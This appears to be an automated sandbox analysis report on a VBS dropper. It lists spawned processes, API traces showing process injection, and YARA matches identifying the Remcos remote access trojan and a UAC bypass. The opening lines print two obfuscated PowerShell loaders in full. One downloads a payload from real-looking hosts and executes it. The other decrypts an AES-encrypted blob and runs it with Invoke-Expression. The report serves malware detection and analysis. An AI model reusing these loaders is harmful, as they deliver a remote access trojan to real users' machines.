Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004180EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,	4_2_004180EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004132D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,	4_2_004132D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041BB09 OpenProcess,NtSuspendProcess,CloseHandle,	4_2_0041BB09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041BB35 OpenProcess,NtResumeProcess,CloseHandle,	4_2_0041BB35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,	7_2_0040DD85
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00401806 NtdllDefWindowProc_W,	7_2_00401806
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004018C0 NtdllDefWindowProc_W,	7_2_004018C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004016FD NtdllDefWindowProc_A,	8_2_004016FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004017B7 NtdllDefWindowProc_A,	8_2_004017B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00402CAC NtdllDefWindowProc_A,	9_2_00402CAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00402D66 NtdllDefWindowProc_A,	9_2_00402D66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,

4_2_004167B4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848FD2CFC	2_2_00007FF848FD2CFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043E0CC	4_2_0043E0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041F0FA	4_2_0041F0FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00454159	4_2_00454159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00438168	4_2_00438168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004461F0	4_2_004461F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043E2FB	4_2_0043E2FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0045332B	4_2_0045332B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0042739D	4_2_0042739D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004374E6	4_2_004374E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043E558	4_2_0043E558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00438770	4_2_00438770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004378FE	4_2_004378FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00433946	4_2_00433946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044D9C9	4_2_0044D9C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00427A46	4_2_00427A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041DB62	4_2_0041DB62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00427BAF	4_2_00427BAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00437D33	4_2_00437D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00435E5E	4_2_00435E5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00426E0E	4_2_00426E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043DE9D	4_2_0043DE9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00413FCA	4_2_00413FCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00436FEA	4_2_00436FEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_10017194	4_2_10017194
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1000B5C1	4_2_1000B5C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044B040	7_2_0044B040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0043610D	7_2_0043610D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00447310	7_2_00447310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044A490	7_2_0044A490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040755A	7_2_0040755A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0043C560	7_2_0043C560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044B610	7_2_0044B610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044D6C0	7_2_0044D6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004476F0	7_2_004476F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044B870	7_2_0044B870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044081D	7_2_0044081D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00414957	7_2_00414957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004079EE	7_2_004079EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00407AEB	7_2_00407AEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044AA80	7_2_0044AA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00412AA9	7_2_00412AA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00404B74	7_2_00404B74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00404B03	7_2_00404B03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044BBD8	7_2_0044BBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00404BE5	7_2_00404BE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00404C76	7_2_00404C76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00415CFE	7_2_00415CFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00416D72	7_2_00416D72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00446D30	7_2_00446D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00446D8B	7_2_00446D8B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00406E8F	7_2_00406E8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00405038	8_2_00405038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041208C	8_2_0041208C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004050A9	8_2_004050A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040511A	8_2_0040511A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0043C13A	8_2_0043C13A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004051AB	8_2_004051AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00449300	8_2_00449300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040D322	8_2_0040D322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044A4F0	8_2_0044A4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0043A5AB	8_2_0043A5AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00413631	8_2_00413631
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00446690	8_2_00446690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044A730	8_2_0044A730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004398D8	8_2_004398D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004498E0	8_2_004498E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044A886	8_2_0044A886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0043DA09	8_2_0043DA09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00438D5E	8_2_00438D5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00449ED0	8_2_00449ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041FE83	8_2_0041FE83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00430F54	8_2_00430F54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004050C2	9_2_004050C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004014AB	9_2_004014AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00405133	9_2_00405133
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004051A4	9_2_004051A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00401246	9_2_00401246
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040CA46	9_2_0040CA46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00405235	9_2_00405235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004032C8	9_2_004032C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00401689	9_2_00401689
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00402F60	9_2_00402F60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434E10 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004169A7 appears 87 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004165FF appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00422297 appears 42 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434770 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0044DB70 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00444B5A appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00413025 appears 79 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00416760 appears 69 times

Source: createdthingstobefrankwithmeeverywhere.gIF.vbs

Initial sample: Strings found which are bigger than 50

Source: amsi32_7244.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_7632.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
